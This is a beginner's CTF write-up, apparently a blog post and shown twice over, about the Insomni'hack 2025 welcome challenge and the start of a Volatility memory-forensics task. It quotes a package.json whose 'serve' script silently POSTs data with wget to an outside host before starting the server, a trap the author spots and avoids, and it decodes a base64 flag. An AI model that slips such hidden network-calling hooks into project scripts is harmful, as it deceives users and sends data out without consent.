Original post The Insomni'hack 2025 CTF is a CTF hosted during the Insomni'hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025. Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year...? Welcome To Insomni'hack This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve command after cloning it. Considering the welcome challenge of last year, I did not wanted to run that npm run command, as I knew it would likely do some funny stuff. Looking at the package.json file, this confirmed by supposition: { "name": "insomnihack-grid", "version": "1.0.0", "description": "Interactive grid game for Insomnihack", "main": "index.js", "scripts": { "serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"", "build": "mkdir -p dist && cp -r src/* dist/" }, "keywords": ["insomnihack", "grid", "game"], "author": "Your Name", "license": "MIT", "devDependencies": { "lite-server": "^2.6.1" } } As it can be seen, it would execute the following command wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src" To be fair I did not see the shame_W3XeaSn$QMEcvgu6!! JSON data at the beginning, so I've completely skipped it and moved to the src/script.js file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag in the file. The resulting cleaned up script flag resulted in the following: // Grid Configuration // [REMOVED] function calculateGridDimensions() { // [REMOVED] } // Progress Tracking // [REMOVED] function createGridCell() { // [REMOVED] } function handleGridClick() { // [REMOVED] } function updateProgress(numberIndex) { // [REMOVED] } function updateTotalProgress() { // [REMOVED] } function showCompletion() { // Create completion overlay const overlay = document.createElement('div'); overlay.className = 'completion-overlay'; // Create completion container const completionContainer = document.createElement('div'); completionContainer.className = 'completion-logo'; // Create COMPLETED text const completedText = document.createElement('span'); completedText.className = 'completion-text'; completedText.textContent = 'COMPLETED'; const flagContainer = document.createElement('div'); flagContainer.className = 'completion-flag-container'; // Create flag const flag = document.createElement('div'); flag.className = 'completion-flag'; // Encoded flag const decode = (str) => { return decodeURIComponent(escape(atob(str))); }; const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ=="; flag.textContent = decode(encodedFlag); // Assemble the elements flagContainer.appendChild(flag); completionContainer.appendChild(completedText); completionContainer.appendChild(flagContainer); overlay.appendChild(completionContainer); document.body.appendChild(overlay); } function initializeGrid() { // [REMOVED] } // Event Listeners // [REMOVED] // Hover Effect // [REMOVED] // Resize handler with debounce // [REMOVED] // Initial grid creation // [REMOVED] In that resulting code, the following line can be seen: const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ=="; This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}. v0l4til3 We were given a quite big 20250312.mem file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility. I've ran the windows.info command against the file and got the following result: ~/CTF/INS25/v0l4til3

The Insomni'hack 2025 CTF is a CTF hosted during the Insomni'hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025.
Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am
I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year...?
Welcome To Insomni'hack
This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve
command after cloning it.
Considering the welcome challenge of last year, I did not wanted to run that npm run
command, as I knew it would likely do some funny stuff. Looking at the package.json
file, this confirmed by supposition:
{
"name": "insomnihack-grid",
"version": "1.0.0",
"description": "Interactive grid game for Insomnihack",
"main": "index.js",
"scripts": {
"serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"",
"build": "mkdir -p dist && cp -r src/* dist/"
},
"keywords": ["insomnihack", "grid", "game"],
"author": "Your Name",
"license": "MIT",
"devDependencies": {
"lite-server": "^2.6.1"
}
}
As it can be seen, it would execute the following command
wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src"
To be fair I did not see the shame_W3XeaSn$QMEcvgu6!!
JSON data at the beginning, so I've completely skipped it and moved to the src/script.js
file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag
in the file.
The resulting cleaned up script flag resulted in the following:
// Grid Configuration
// [REMOVED]
function calculateGridDimensions() {
// [REMOVED]
}
// Progress Tracking
// [REMOVED]
function createGridCell() {
// [REMOVED]
}
function handleGridClick() {
// [REMOVED]
}
function updateProgress(numberIndex) {
// [REMOVED]
}
function updateTotalProgress() {
// [REMOVED]
}
function showCompletion() {
// Create completion overlay
const overlay = document.createElement('div');
overlay.className = 'completion-overlay';
// Create completion container
const completionContainer = document.createElement('div');
completionContainer.className = 'completion-logo';
// Create COMPLETED text
const completedText = document.createElement('span');
completedText.className = 'completion-text';
completedText.textContent = 'COMPLETED';
const flagContainer = document.createElement('div');
flagContainer.className = 'completion-flag-container';
// Create flag
const flag = document.createElement('div');
flag.className = 'completion-flag';
// Encoded flag
const decode = (str) => {
return decodeURIComponent(escape(atob(str)));
};
const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
flag.textContent = decode(encodedFlag);
// Assemble the elements
flagContainer.appendChild(flag);
completionContainer.appendChild(completedText);
completionContainer.appendChild(flagContainer);
overlay.appendChild(completionContainer);
document.body.appendChild(overlay);
}
function initializeGrid() {
// [REMOVED]
}
// Event Listeners
// [REMOVED]
// Hover Effect
// [REMOVED]
// Resize handler with debounce
// [REMOVED]
// Initial grid creation
// [REMOVED]
In that resulting code, the following line can be seen:
const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}
.
v0l4til3
We were given a quite big 20250312.mem
file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility.
I've ran the windows.info
command against the file and got the following result:
~/CTF/INS25/v0l4til3